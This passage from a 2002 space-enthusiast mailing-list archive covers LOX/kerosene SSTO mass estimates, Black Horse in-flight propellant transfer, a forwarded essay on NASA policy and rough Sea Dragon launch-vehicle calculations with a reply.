engine mass for the new design is greater than for VentureStar. For the RD-170 the engine mass to sea level thrust ratio is 8755/7259 = 1.206 kg/kN. I don't know this ratio for the VentureStar engines so I'll take the figures for the SSME which are 3177/1668 = 1.905 kg/kN. Thus the engine mass for the new design is 33,938 x 1.206 = 40.9 t and for the VentureStar the mass is 13,419 x 1.905 = 25.6 t. Thus, the new design requires an increased engine mass of 40.9-25.6 = 15.3 t which reduces the extra payload mass to orbit to 22.8-15.3 = 7.5 t. Let us use this mass for the stronger thrust structure. Thus, with a 26.8 t payload (the same as VentureStar) we have that the empty mass of the new design is 139.4-26.8 = 112.6 t (of which 36.3% is engine mass). This compares to the empty mass of 89.8 t of VentureStar (of which 28.5% is engine mass). Despite the higher empty mass the new design will be slightly smaller dimensionally due to the smaller tank volume. So there you go. If reduced gravity losses reduce the delta V by 500 m/s (Mitchell Burnside Clapp showed that a H2O2/KERO powered SSTO reduces delta V by 595 m/s) then the empty mass can increase to 135.4 t (of which 30.2% is engine mass) with a 26.8 t payload. The tank volume is 2288 m^3 (135 m^3 smaller than VentureStar). So, I think a LOX/KERO SSTO is technically feasible but the large engine mass could be a problem. Still, it may be desirable to make a LOX/KERO SSTO work due to the operational advantages it offers. KERO is much easier to work with than LH2. The propellant costs will also be less which in a resuable system (like airplanes) will hopefully be a large part of the cost of a launch. -- Steven S. Pietrobon, Small World Communications, 6 First Avenue Payneham South SA 5070, Australia fax +61 8 8332 3177 mailto:steven@sworld.com.au http://www.sworld.com.au/ >From VM Mon Dec 2 12:30:23 2002 Content-Length: 1227 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1227"" ""Thursday"" ""28"" ""November"" ""2002"" ""15:59:58"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""41"" ""starship-design: Black horse info"" ""^From:"" nil nil ""11"" nil ""starship-design: Black horse info"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Axn016167 for ; Thu, 28 Nov 2002 13:00:10 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0AoU016161 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:10 -0800 (PST) Received: from imo-r03.mx.aol.com (imo-r03.mx.aol.com [152.163.225.99]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL08xn016097 for ; Thu, 28 Nov 2002 13:00:09 -0800 (PST) Received: from KellySt@aol.com by imo-r03.mx.aol.com (mail_out_v34.13.) id 4.b9.2aa8eee7 (18403); Thu, 28 Nov 2002 15:59:58 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: starship-design: Black horse info Date: Thu, 28 Nov 2002 15:59:58 EST FYI. I presume you all know what Black Horse is? I'm not a big fan, but the equations should be usefull. Kelly >Date: Sun, 31 Mar 1996 19:07:05 -0500 >From: KellySt@aol.com >To: kgstar@most.fw.hac.com >Subject: Black horse > >Subject: assessing Black Horse style vehicles >From: magnus@im.lcs.mit.edu (Daniel Risacher) >Date: 17 Mar 1996 19:37:30 -0500 >Message-ID: > > >Mitchell Burnside Clapp has written a piece entitled ""An approximate >method of assessing the performance of propellant transfer >spaceplanes"" > >I've formatted this into HTML and added it to the Black Horse page as: > > http://www.im.lcs.mit.edu/bh/dfh.html > >The good bits are the equations, which are included as inline gif's, >so use a graphical browser. > >In the paper, Mitch works through some of the math to determine the >performance of a Black Horse type vehicle, and extends it to look at >APT spaceplaces with turbofans or fan-ramjets such as those proposed >by Kaiser-Marquardt. > >The gist is that adding turbofans to a Black Horse vehicle would not >work very well, but adding fan-ramjets could be of considerable >advantage. > > >The Black Horse W3 Page, is, as always: > > http://www.im.lcs.mit.edu/bh/ >From VM Mon Dec 2 12:30:24 2002 Content-Length: 4942 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4942"" ""Thursday"" ""28"" ""November"" ""2002"" ""16:00:07"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""115"" ""starship-design: FYI black horse"" ""^From:"" nil nil ""11"" nil ""starship-design: FYI black horse"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Kxn016193 for ; Thu, 28 Nov 2002 13:00:20 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0KcK016191 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:20 -0800 (PST) Received: from imo-r07.mx.aol.com (imo-r07.mx.aol.com [152.163.225.103]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Ixn016183 for ; Thu, 28 Nov 2002 13:00:19 -0800 (PST) Received: from KellySt@aol.com by imo-r07.mx.aol.com (mail_out_v34.13.) id 4.68.29570078 (18403); Thu, 28 Nov 2002 16:00:07 -0500 (EST) Message-ID: <68.29570078.2b17ddd7@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""UTF-8"" Content-Language: en X-Mailer: AOL 5.0 for Mac sub 39 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by darkwing.uoregon.edu id gASL0Jxn016187 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: starship-design: FYI black horse Date: Thu, 28 Nov 2002 16:00:07 EST I thought I'ld foreward some stuff you might be intersted in, or might be worth working into a updated site. Date: Mon, Sep 16, 1996 11:40 AM EST From: MbClapp Subj: Answer to your question on Usenet RE Airdrop vs. Retanking To: Kelly St There has been a great deal of work done on examining space access concepts that are based on air launch as a means of reducing Delta-V to orbit to a level that reduces the performance requirements on a launch vehicle. Essentially, subsonic staging provides benefits over single stage to orbit in several areas. The gravity losses are reduced because the vehicle is in horizontal flight, supporting itself by aerodynamic means rather than by engine thrust. The drag losses are reduced as well. Above 18,000 feet, over half the atmosphere is beneath you. The back pressure losses on the engines are also reduced because the limit for no separated nozzle flow permits larger expansion engines. Finally, there is the possibility of staging above weather, an operational advantage. Relatively little work has examined the possibility of inflight propellant transfer as an alternative to air launch, however. The reasons for this are unclear. The inflight propellant transfer concept does offer five distinct advantages over air launch. First of all, the experience base in military aviation with inflight propellant transfer is enormously greater than that for air launch. Perhaps four hundred manned aircraft have ever been released from beneath other aircraft. A similar number of inflight propellant transfers are performed each day. And the number of stores in excess of 50,000 pounds that have been released from aircraft total a few dozen at most. Every modern military aircraft can be refueled in flight, and for many missions it is critical. ""Take off, top off and continue with the primary mission"" is an everyday operation in the US Air Force. Second, the separation of two large objects in flight is an inherently risky maneuver. Stores certification history for military aircraft is full of examples of released objects striking the parent aircraft and causing major damage. The risk can be minimized by a number of means, including captive carry testing, wind tunnel work, and build-up flight test, but at some point the certification program must commit to releasing the object ��� an all-or-nothing affair. This level of risk can be managed, but doing so drives costs up. Propellant transfer, on the other hand, can be certified by slowly and incrementally flying formation, then near the tanker, then in dry contact with the tanker, then with increasing amounts of propellant transfer, opening the envelope in a very gradual fashion. Inflight refueling accidents are unheard of in flight test. It is a safer activity to certify. Third, the performance of an air-launch system is subject to some important limitations. Because two airframes are under the influence of one set of engines, the aircraft cannot climb quite as high for separation as an inflight propellant transfer concept can. The interference drag between the two airframes also limits the envelope of the ensemble to some degree. The effect is not enormous, adding up to an advantage of perhaps 250 ft/sec of Delta-V to the inflight propellant transfer concept, but it is noticeable. Fourth, the inflight propellant transfer concept offers some important advantages in flexibility. The orbital aircraft has the capability to fly suborbital missions without propellant transfer, to distances of 3,000 to 6,000 nautical miles, depending on the aerodynamic configuration. This capability exists because the airframe is capable of independent takeoff and landing. This offers a transcontinental range for a number of alternate missions that are difficult to imagine for an air launch concept. For the same reason, the tanker and orbital aircraft may be based at different locations, and interfaced only in flight. This offers more basing flexibility and removes the requirements for specialized facilities and ground support equipment such as that needed to mate the Shuttle orbiter to its carrier aircraft. Finally, the carrier aircraft for an air launch concept must be either an entirely new aircraft or a major, airworthiness affecting structural modification to an existing aircraft (unless the gross weight of the orbital segment is very small). The carrier must bear not only the weight of the propellant, but also the empty weight of the aircraft as well as its payload. The orbital aircraft must be a great deal smaller than its carrier for an air-launch concept, while it can be larger than the tanker (or tankers) for an inflight propellant transfer concept. This drives the designer to very large carrier aircraft, which can be expensive. Mitchell Burnside Clapp >From VM Mon Dec 2 12:30:24 2002 Content-Length: 12059 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""12059"" ""Thursday"" ""28"" ""November"" ""2002"" ""16:00:20"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""434"" ""Re: starship-design: Small Steps Keep Us Grounded"" ""^From:"" nil nil ""11"" nil ""starship-design: Small Steps Keep Us Grounded"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Yxn016249 for ; Thu, 28 Nov 2002 13:00:34 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0YqO016248 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:34 -0800 (PST) Received: from imo-m02.mx.aol.com (imo-m02.mx.aol.com [64.12.136.5]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Xxn016219 for ; Thu, 28 Nov 2002 13:00:33 -0800 (PST) Received: from KellySt@aol.com by imo-m02.mx.aol.com (mail_out_v34.13.) id 4.1a6.cb93b3d (18403); Thu, 28 Nov 2002 16:00:20 -0500 (EST) Message-ID: <1a6.cb93b3d.2b17dde4@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Small Steps Keep Us Grounded Date: Thu, 28 Nov 2002 16:00:20 EST I agree with a lot of this, especial the contrast of space advocacy groups vrs the federalist group. But I'm much less optimistic about NASA after the SLI (space launch initiative) reports came in. They again focused on very old crude designs, optimized for NASA's needs, and not optimized for practicality or commercial adaptability. I mean when your bold new idea is mini-shuttle on the tip of multistage expendable booster?! That was a old Air force proposal for a X-15 spin off in the mid '60's! NASA might want to at least look at concepts like Blackhorse the airforce came up with a decade or two ago!! NASA needs to be more of a aeronautical research org. One supporting aeospace and space launch systems. Not just eternal research on technollogies decades away from use, but trying to get something developed and runing now that could really make a difference. Top on the list for space is a versital, relyable, low cost, space launcher. Kelly In a message dated 11/28/02 8:20:30 AM, lparker@cacaphony.net writes: >Small Steps Keep Us Grounded > >The Spacefaring Web 2.19 > > > >by John Carter McKnight > >Scottsdale - Nov 22, 2002 > > > >NASA's recent budget request is uninspiring, reactive and constraining >- and > >just what the doctor ordered. Agency Administrator Sean O'Keefe has > >apparently realized that our grandiose dreams of near-term space triumphs > >are simply shattered, leaving us - government, industry and advocacy alike >- > >with the unglamorous work of living within our means, delivering on our > >promises, and slowly building a new space infrastructure, one that, this > >time, can last. > > > >There's an old saying that the best is the enemy of the good enough. NASA, > >following in the family tradition of its older brother, the Pentagon, has > >spent twenty years proving the maxim. President Reagan's little $8 billion > >Space Station Freedom managed to misplace $5 billion last year, in its >18th > >year of bureaucratic life. > > > >Despite the ""faster, better, cheaper"" mantra, the engineering > >bells-and-whistles mindset, coupled with government budgeting procedures, > >has caused most projects to bloat. > > > >The gap between expectations and results then gets filled with ""viewgraph > >engineering,"" more grandiose promises, coupled with requests for yet another > >one-time-only emergency handout. > > > >NASA and its dependent contractors are not alone in overpromising and > >under-delivering. Space advocacy's track record is, if anything, worse >(""L5 > >in '95,"" for example). > > > >Volunteer enthusiasm couples with pent-up demand fed by NASA's failure >to > >deliver on its promises to create the same dynamic. Ambitious projects >are > >declared, discussed in a frenzy of chat-board activity - then, like so >many > >amateur rockets, either fizzle or explode. > > > >Entrepreneurial space companies, often drawn from the ranks of either > >advocates or frustrated veterans of NASA disappointments, have followed >the > >same pattern: the initial draft of the business plan (if they're that > >realistic) calls for conquering the Solar System, producing two dozen > >products and making billionaires of their first round investors, all in >five > >years. > > > >To their credit, though, the entrepreneurs have been the first to learn >the > >lesson of ""foundations first."" The die-off of many of the launch vehicle > >startups triggered an increase in professionalism and a decrease in > >grandiosity among their successors. > > > >Many current space startups have much more business savvy and vastly more > >humble - and achievable - goals than their predecessors did. The lessons > >they learned in the unforgiving school of the marketplace are finally > >beginning to spread to their governmental and advocacy peers. > > > >The space community had no monopoly on excess, to be sure. We've all been > >down that road. Overpromising was what the latter 1990s were about. > > > >While space has had its own dynamic, driven by NASA's pervasive lack of > >realism, the entire Western economy was, if not, as the Texans say, ""all >hat > >and no cattle,"" at least running with a hat/cattle ratio that no sober > >banker (had there been any) would have approved. > > > >That party's over. NASA must rebuild credibility with the public, with > >Congress and with its international partners, deliver on promises already > >made, and live within its budgetary means. Advocacy must do the same. > > > >The NASA budget request is a courageous attempt to meet those critical > >requirements of credibility, frugality and infrastructure repair. The Space > >Launch Initiative was shaping up to generate a replacement for the Shuttle > >as disastrously out of step with fiscal and mission requirements as the > >original has been. > > > >There is no good solution to the problems caused by unsafe, spectacularly > >expensive and antiquated transportation to a largely worthless destination. > >Sacking the SLI program while extending the life of the existing orbiters > >and developing a relatively cheap lifeboat capable of supporting a full >crew > >complement on the International Space Station, is a good faith, ""good > >enough"" fix. > > > >Hopefully, this approach, grounded in a blessed lack of vision, will spread > >through NASA's upper management. The agency's ""NExT"" initiative, despite > >some very positive elements, smacks too much of a re-creation of the process > >that diverted the bulk of its attention and resources into the Station >and > >Shuttle, to precious little relative return. > > > >More microgravity mega-engineering does not seem a reasonable response > >either to NASA's own priority of exploring life's origins, or to the public > >and commercial demand for affordable access to space. > > > >Criticism of this sort of bureaucratic ""beau geste"" has been coming from > >interesting quarters. The Economist, the British news weekly, has long >been > >fanatically hostile to human spaceflight. Yet its November 14 editorial > >marks a change in tone. > > > >While still scathing (""It is true that science can be done in the space > >station. But science can also be done dressed in a clown suit atop a large > >Ferris wheel""), the editors go on to express sentiments that could have >come > >from this column: > > > >[F]or decades there has been a huge pent-up demand for flights into space. > >Although the private sector is finally making some progress towards this, > >NASA should have been there years ago. What is still needed is research >and > >development on economical and safe space transport for the public at large. > >Space, like the Wild West, can be truly opened up by the private sector. > >NASA's central goal in human space flight should be to make that possible. > > > >A broad consensus seems to be coalescing around this radical view. The > >Commission on the Future of the United States Aerospace Industry delivered > >its final report to the Administration this week. No visionary programs >are > >called for: rather, the focus is on rebuilding infrastructure, improving > >basic research and removing trade barriers - the impediments to spacefaring > >identified in the previous issue of this column. > > > >The Commission calls for a realignment of Federal efforts around these > >unglamorous but essential issues. The advocacy community as well should > >follow suit, to aid in this effort and to redeem itself from the > >overpromising/under-delivering space curse. > > > >This past week marked the twentieth anniversary of a fringe organization > >whose beginnings were much less promising than those of the space groups', > >but whose influence, unlike that of our community, has become immense. > > > >The Federalist Society began as a campus-based movement of conservative, > >statist law students in an era when the top law schools were largely liberal > >and biased against the exercise of imperial power. It was a fringe > >organization regarded with deep suspicion by mainstream students and faculty > >(as I recall from firsthand experience, having attended law school with > >co-founders of the organization in its second year of existence). > > > >Yet its anniversary was noted prominently in the New York Times - as the > >commemorative celebration was attended by a Supreme Court Justice and the > >Attorney General. No cabinet-level official has ever attended a > >space-advocacy party, to the best of my knowledge. > > > >What did the Federalist Society do right that the various space societies > >have not? Three things of utterly critical significance: it focused on > >training and promoting cadre, and on engaging in genuine, respectful debate > >with its opponents. Also, it did not squander its energy on > >personality-driven factional infighting or schismatic doctrinal squabbles. > >The space advocacy organizations should learn that lesson and radically > >revision themselves around those two positive projects. > > > >The Federalist Society made the front pages because it spent twenty years > >recruiting bright students who were receptive to its message, training >and > >indoctrinating them, and networking them with alumni and supporters in > >positions of influence. In less than a generation their strategy has given > >them policy dominance over the Federal agency of concern to them, the > >Justice Department. > > > >Imagine if a space organization could have placed its members throughout >the > >NASA hierarchy, claiming the Administrator and the Secretary of Defense >as > >allies - we might actually have a Federal space effort accomplishing > >something other than intellectual and financial bankruptcy restructuring. > > > >The other critical technique involves recruiting one's adversaries as > >marketing representatives. By providing a forum for liberal and libertarian > >opponents to hone their arguments through debate, the Federalist Society > >forced those opponents to accord it respect and legitimacy. > > > >By putting their people on panels alongside respected mainstream opinion > >leaders, they declared themselves peers and serious players. When their > >opponents would go out marketing themselves, they would likely refer to > >having assailed their Federalist Society adversaries - again, marking the > >once-fringe organization as a legitimate peer of the prominent mainstream > >figure. > > > >Space advocacy groups have consistently chosen to preach to the choir rather > >than to engage their critics. This choice ghettoizes us, prevents us from > >becoming truly proficient or convincing in delivering our message, denies >us > >the opportunity to win over moderates who have only heard the opposition's > >case, and denies us the leverage of putting our adversaries to work > >marketing us. > > > >There has been talk of engaging the environmental and religious communities, > >of opening a dialog with the technologically-skeptical ""Party of Nah,"" >but > >little concrete action. Our failure costs us influence. > > > >NASA now has an opportunity to rebuild its financial, reputational and > >physical infrastructure. Only when this process is complete will it be >able > >to move on to grander things. > > > >By abandoning the impulse to build deep-space Egyptian pyramids in favor >of > >more mundane and infinitely more useful Roman roads, the agency may actually > >accomplish its true goal of opening the space frontier. If the space > >advocacy groups similarly choose to abandon millennial fervor and > >narcissistic self-destruction in favor of recruiting, training and > >influence-building, they can provide the leadership of government and > >industry necessary for opening that frontier. > > > >Critical to both efforts is accepting that, for now, building a spacefaring > >civilization does not involve grand theorizing, viewgraph engineering or > >marching gaily off to triumph. For now, revolutionary patience lies in > >inspiring the kids, paying the bills and building the roads. If we do those > >things right, the triumphs will surely come. >From VM Mon Dec 2 12:30:24 2002 Content-Length: 7797 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""7797"" ""Thursday"" ""28"" ""November"" ""2002"" ""16:00:10"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""201"" ""starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""11"" nil ""starship-design: HOTOL SeaDragon idea."" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Kxn016201 for ; Thu, 28 Nov 2002 13:00:20 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0KHj016200 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:20 -0800 (PST) Received: from imo-r08.mx.aol.com (imo-r08.mx.aol.com [152.163.225.104]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Jxn016184 for ; Thu, 28 Nov 2002 13:00:19 -0800 (PST) Received: from KellySt@aol.com by imo-r08.mx.aol.com (mail_out_v34.13.) id 4.16a.17c11d30 (18403); Thu, 28 Nov 2002 16:00:10 -0500 (EST) Message-ID: <16a.17c11d30.2b17ddda@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: starship-design: HOTOL SeaDragon idea. Date: Thu, 28 Nov 2002 16:00:10 EST Worked this up a while ago. Its more then a little rough, but might be interesting. ================ Was looking over SeaDragon statistics from those URL's I posted. Liftoff Thrust is 36,000,000 kgf, or about 36,000 tons. The saturn 5's F-1's were about 780,000 kgf. So you'ld need about 46 of them. Good thing you launch them in the deep ocean. The sound of 10 Saturn 5's taking off at once would play hell with anything breakable in the county. John Chancelor was there for one of the forst Sat-V test launches. The vibration shook apart the viewing stands set up for the reporters. In colapsed under them adn they scrambled for safy. He remembers sprawling out on the ground as it shok under him and he watch that giant take off. Next time the moved the stands back a mile. Anyway thats a lot of noise. Its also a lot of engines. Then I remembered a stat on injector ramjet engines. The injectors could ""entrain"" in 20 times the exaust mass gas'es mass of air. Thus driving a BIG ramjet/scramjet engin e with 2 or 3 F-1 engines. Has to be simpler to build a 36,000,000 kgf suite of ramjets/scramjets then a rocket wityh that size. Also lightens the take off weight by a rediculas amount. Also given the first stage (if i did the math right given the burn out times adn DV given the rocket equation) cuts out at about Mach-6. ================= Sea Dragon-first stage Gross Mass 11,600,000 kg. Empty Mass 1,300,000 kg. Thrust (vac) 36,400,000 kgf. Isp 290 sec. [[ 300 -360 (vac) or so is normal ]] Burn time 81 sec. Propellants Lox/Kerosene Isp(sl) 200 sec. Diameter 21.5 m. Span 30.0 m. Length 68.0 m. Comments Sea level thrust shown. Thrust, chamber pressure varies during ascent. Vacuum thrust at cut-off 40 million kgf. Total mass, specific impulse estimated from booster performance figures. >>>> speed at stage 1 burn out??? The classic rocket equation gives the fuel to ship mass ratio, needed to get a given change in speed, with a fuel that has a given exaust velocity. dv = Desired change (or delta) in the ships speed. Vexh = Exaust velocity of the material (290 x 9.8m/s) = 2842 M = The fuel mass ratio =Exp(dV/Vexh) Liftoff Thrust: 36,000,000 kgf. Liftoff Total Mass: 18,000,000 kg. fuel mass first stage 10,300,000 kg. mass at stage 1 burnout 7,700,00 m = M liftoff / (M liftoff - M fuel ) = 18,000,000 / 7,700,000 dv - Vexh ln ( m ) - gt dv = Vexh ln (m ) - gt = 2,413 - gt = 2,413m/s - (9.8 x 81 ) = 1,619m/s 2,413m/s = 5,212 m/hour about mach 7 1,619m/s = 3497 m/hour about mach 5 ================ Also noticed the Sea Dragon's first stage motor was expected to give 290 sec of ISP the F-1s were Isp (vac): 304 sec. Isp (sea level): 265 sec. And the first stage had a bout a 10-1 fuel mass ratio. If you lose most all of the LOx, you might spend it on Wings to lower take off thrust needs (and noise) and since its seaworthy, your not paying a weight price for seaplane abilities. Secound stage is Sea Dragon-second stage has a Gross Mass: 5,900,000 kg. Empty Mass: 530,000 kg. Thrust (vac): 6,350,000 kgf. or about 8 F-1 engines Isp: 320 sec. [[ LH/LOx engine usually give 440-460!!]] Burn time: 260 sec. Propellants: Lox/LH2 320 isp with LOx/LH?? Thats hardly better then the numbers for the LOx/Kerosine engines of the '60's? Its actually worse then the current gen of LOx/Kero engines which get up to 350 isp! Shuttle LOx/LH engines get about 450isp! Anyway >>>> stage 2 delta-V capacity ??? dv = Desired change (or delta) in the ships speed. Vexh = Exaust velocity of the material (320 x 9.8m/s) = 3136m/s m = The fuel mass ratio =Exp(dV/Vexh) m = M liftoff / (M liftoff - M fuel ) = 5,900,000 / 530,000 = 11.1 dv = Vexh ln ( m ) = 3136m/s ln ( 11.1 ) = 7548 m/s >>>>>>>> Given liquid hydrogens (LH) huge bulk and tank weight, not to mention cost, I'm thinking a pure LOx/Kerosine TSTO system makes more sence? Up the number of F-1s from 2-3 for the first stage to 8 (most of which arn't turned on until you leave the air), and you have the thrust. Ok, Sea Dragons second stage had a Gross Mass: 5,900,000 kg. Empty Mass: 530,000 kg. Mass of the fuel tanks would be less without the LH. But the LEO Payload was 450,000 kg. (550 tons), so your only talking about 80 tons of structure to orbit. Total Liftoff Mass was 18,000,000 kg. Sea Dragon-first stage Gross Mass 11,600,000 kg. Empty Mass 1,300,000 kg. Course that 10,300,000 kg of LOx and Kerosine can be reduced by a factor of 3.5 or so if you assume airbreathing. Thats down to 2,940,000 kg. That frees up a lot weight for structure or extra fuel. If you can take off HTOL you can assend more slowly on your wings until you get to high altitudes for your big run to speed. Saving more in fuel. A 747 has a empty weight about half its max takeoff weight. Course it has to takeoff at slower speeds. I think lift is one of those V^2 things. Given the size of this monster, it can handal light seas at speed. Probably lift off into its ground effect, then run up into far high speeds for assent. (lots of open ocean out there.) So possibly tripling its speed to 450-500ish mph could get you 9 times the take off weight? That big Russuan surface effect ship had numbers like that. If true the winged vehicle can lift maybe 10 times its dry weight. First stage fuel 2,940,000 kg 2nd stage fuel and LOX 5,370,000 kg. Cargo 450,000 kg. (550 tons) total - structure 8,760,000 kg So if you can do a 9 to 1 take off to empty weigh ratio, you need about 100,000 kg. for plane and drive & lift stuff. Sea Dragon had 1,300,000 plus 370,000 kg. or 1,670,000 Course eliminating the LOx from the first stage would cut at least half of the weight out of the first stage. Getting you under 1,000,000 total structure and systems. You can lose 100,000 kg of flight structure in there pretty easy, but you just doubled the dry weight to orbit. Doubling the dry weight to orbit would double the fuel load you'ld need to carry. You might save more weight from less thrust needed for a HTOL, or by airbreathing longer. Or you could switch to higher efficency LH/LOx for the post atmosphere boost, or build the hull out of something lighter then plate steel. The Russuans built whole attack subs out of titanium, so something of the weight of this is possible, and would more then halve the weight. It also is more heat and corrosion resistent. Pricy though. Don't know how much off hand. But anyway halving the structure weight by switch from '60's steel shouldn't be a big problem. If you stick to Kerosine / LOx all around. Thats about: 4,480,000 kg of kerosine $ 0.20 per kg = $816,000 3,900,000 kg of LOx $ 0.08 per kg = $312,000 Course thats not much of the cost of a launch now, but in mature systems it gets to be up to a 1/3rd. Dev costs? About all complex aircraft from RLV's to F-22s adn B-2s seem to be in the $10-$20 billion club now a days. At 500 tons cargo to LEo per flight. Our 3 million ton O'Neil would eat 6,000 flights to LEO just for the material, and could take more then that for the support stuff to fly it to L5. So even if we assume $60 billion in dev costs and only 6,000 total flights, the overhead costs should only be about a million dollars a flight. About the same as the fuel costs. Together only about $2 per pound of cargo to orbit. Servicing for launch was estimated in the tens of million of dollars per launch by seadragon. Course that was nearly 40 years ago, with a differnt configuration. Not sure how to guess for this. >From VM Mon Dec 2 12:30:27 2002 Content-Length: 1324 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1324"" ""Monday"" ""2"" ""December"" ""2002"" ""11:47:55"" ""-0700"" ""ben franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""25"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil ""starship-design: HOTOL SeaDragon idea."" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB2Inmxn028643 for ; Mon, 2 Dec 2002 10:49:48 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB2Inm0C028641 for starship-design-outgoing; Mon, 2 Dec 2002 10:49:48 -0800 (PST) Received: from bach.ccinet.ab.ca (bach.ccinet.ab.ca [198.161.96.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB2Inkxn028606 for ; Mon, 2 Dec 2002 10:49:47 -0800 (PST) Received: from jetnet.ab.ca (gc-jet-208.jetnet.ab.ca [207.34.60.208]) by bach.ccinet.ab.ca (8.12.6/8.12.6) with ESMTP id gB2IprFG053052 for ; Mon, 2 Dec 2002 11:51:54 -0700 (MST) (envelope-from bfranchuk@jetnet.ab.ca) Message-ID: <3DEBAADB.8050207@jetnet.ab.ca> User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1) Gecko/20021005 X-Accept-Language: en-us, en MIME-Version: 1.0 References: <16a.17c11d30.2b17ddda@aol.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ben franchuk From: ben franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Mon, 02 Dec 2002 11:47:55 -0700 KellySt@aol.com wrote: > 320 isp with LOx/LH?? Thats hardly better then the numbers for the > LOx/Kerosine engines of the '60's? Its actually worse then the current gen > of LOx/Kero engines which get up to 350 isp! Shuttle LOx/LH engines get > about 450isp! > A 747 has a empty weight about half its max takeoff weight. Course it has to > takeoff at slower speeds. I think lift is one of those V^2 things. Given > the size of this monster, it can handal light seas at speed. Probably lift > off into its ground effect, then run up into far high speeds for assent. > (lots of open ocean out there.) So possibly tripling its speed to 450-500ish > mph could get you 9 times the take off weight? That big Russuan surface > effect ship had numbers like that. The problem with Rocket design is because things are so sensitive to the isp factor a minor change can throw a design right out the window. I think a smallish designed craft can be optinum for mass/payload in the 800 kg/2400 kg range providing the second stage is unmanned to a fixed space platform. Has any work on a third stage using microwave or solar powered engine that stays in orbit and captures the second stage? 1st stage -- air breathing/wings manned 2nd stage -- payload pod /winged reentry 3rd stage == booster shuttle/space frame Ben. >From VM Mon Dec 2 12:50:57 2002 Content-Length: 2208 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2208"" ""Monday"" ""2"" ""December"" ""2002"" ""15:34:41"" ""-0500"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""38"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB2KYuxn014100 for ; Mon, 2 Dec 2002 12:34:56 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB2KYuHS014099 for 